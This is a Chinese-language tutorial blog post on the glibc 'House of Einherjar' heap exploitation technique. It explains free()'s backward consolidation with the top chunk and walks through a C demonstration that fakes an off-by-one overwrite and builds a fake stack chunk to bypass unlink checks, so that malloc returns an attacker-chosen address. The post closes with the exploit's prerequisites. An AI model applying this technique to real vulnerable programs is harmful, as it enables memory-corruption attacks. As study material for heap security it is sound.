House Of Einherjar
2022-03-18 14:48:52

House Of Einherjar

漏洞效果:可以强制使得malloc返回一个几乎任意地址的chunk

利用原理:

当释放堆块下一块为top_chunk时,free会与相邻后向地址进行合并

free函数:

后向合并:

函数执行流程:

判断被释放堆块p的inuse标志位是否为0,为0则进行if中内容==》

记录相邻堆块p的prev_size值

size为size+prev_size

堆块p的指针最后是由chunk_at_offset()函数决定==》

image-20220317162610540

将原本p指针位置加上s偏移后的位置作为合并堆块的新指针==》

在free函数中,就是原本p指针需要减去一个后向堆块size(p->prev_size)大小的偏移后得到合并堆块的新指针

与top_chunk合并:

函数执行流程:

在执行set_head()函数后,合并堆块的size会变为两个堆块的总和,并且top_chunk的指针会指向被合并的堆块p的位置==》top_chunk将p吞并,并取代p的位置

例:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);

        uint8_t* a;
        uint8_t* b;
        uint8_t* d;

        a = (uint8_t*) malloc(0x38);
    //创建一个0x48大小的堆块,将malloc指针赋给a
        printf("a: %p\n", a);
    
        int real_a_size = malloc_usable_size(a);
        printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding:%#x\n", real_a_size);

        size_t fake_chunk[6];
    //创建数组fake_chunk
        fake_chunk[0] = 0x100;
        fake_chunk[1] = 0x100;
        fake_chunk[2] = (size_t) fake_chunk;
        fake_chunk[3] = (size_t) fake_chunk;
        fake_chunk[4] = (size_t) fake_chunk;
        fake_chunk[5] = (size_t) fake_chunk;
    //在数组下标处赋值
        printf("Our fake chunk at %p looks like:\n", fake_chunk);

        b = (uint8_t*) malloc(0xf8);
    //创建一个0x108大小的chunk b,将malloc指针赋给b变量
        int real_b_size = malloc_usable_size(b);
        printf("b: %p\n", b);

        uint64_t* b_size_ptr = (uint64_t*)(b - 8);
        printf("\nb.size: %#lx\n", *b_size_ptr);
        a[real_a_size] = 0;
    //将chunk b的inuse标志位修改成0
        printf("b.size: %#lx\n", *b_size_ptr);

        size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
        printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
        *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

        fake_chunk[1] = fake_size;

        free(b);
        printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

        d = malloc(0x200);
        printf("Next malloc(0x200) is at %p\n", d);
}

创建chunk a:

修改数组内容:

==》将prev_size和size设置为0x100,fd,bk,fd_nextsize,bk_nextsize设置为fake_chunk自身地址==》

绕过free()函数向后合并时最后的chunk检查

创建chunk b:

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

==》

==》将chunk b的malloc指针-0x8位置==》将chunk b的size值放在b_size_ptr变量中

a[real_a_size] = 0;

==》

==》a[n]以chunk a的malloc指针为起始的指针数组==》数组下标n指向的就是第n+1字节的地址==》

a[real_a_size]指向的是以chunk a的malloc指针为起始,第real_a_size+1个字节的位置等于0(模仿off by one)==》覆盖chunk b的inuse标志位为0

size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);

b-sizeof(size_t)*2==》chunk b的malloc指针减去两个地址位宽==》chunk b的头指针

(uint8_t*)fake_chunk==》伪造堆块的头指针

===》获得伪造的堆块的size==》0xffff8000006033c0是一个负数

*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

fake_chunk[1] = fake_size;

real_a_size-sizeof(size_t)==》chunk a与chunk b公用的chunk b的prev_size地址==》

模拟通过对chunk a赋值后,影响chunk b的prev_size==》

(size_t)&a[real_a_size-sizeof(size_t)] = fake_size;==》chunk b的prev_size保存着fake_size==》

fake_chunk[1] = fake_size;==》将fake_chunk的size部分修改成fake_size

释放chunk b:

fake_chunk与chunk b合并:

首先检查inuse标志位==》0==》相邻地址的堆块处于释放状态==》

根据chunk b中的prev_size向前寻找是否存在一个大小为0xffff8000006033c0大小的堆块==》

找到fake_chunk==》fake_chunk的size又是0xffff8000006033c0==》

free()函数向后合并机制:

已部署fake_chunk的fd,bk,fd_nextsize,bk_nextsize==》绕过unlink检查==》

chunk b与fake_chunk合并为fake_size+chunk b size大小的堆块==》

大堆块的头指针为fake_chunk的头指针0x7fffffffdc80==》

大堆块与top chunk合并:

chunk b与top chunk紧邻==》大堆块与top chunk合并==》

top chunk size==old_top_size+fake_chunk_size+chunk_b_size

申请0x200大小得堆块:

在bin中没有满足条件的空闲块==》向top_chunk申请一个size为0x210大小的堆块==》

top_chunk的头指针为fake_chunk==》0x7fffffffdc80==》

被启用的堆块就是以fake_chunk为头指针,size为0x210的堆块==》

====》

伪造的fake_chunk被当作正常堆块启用

漏洞利用总结:

1、需要有溢出漏洞可以写物理相邻的高地址的prev_size与prev_inuse部分

2、需要计算目的fake_chunk与chunk_b地址之间的差==》需要泄漏地址

3、需要在目的chunk附近构造相应的fake chunk==》绕过unlink的检测

4、在最后释放chunk时要保证下一个chunk是top chunk,若不是则无法合并top chunk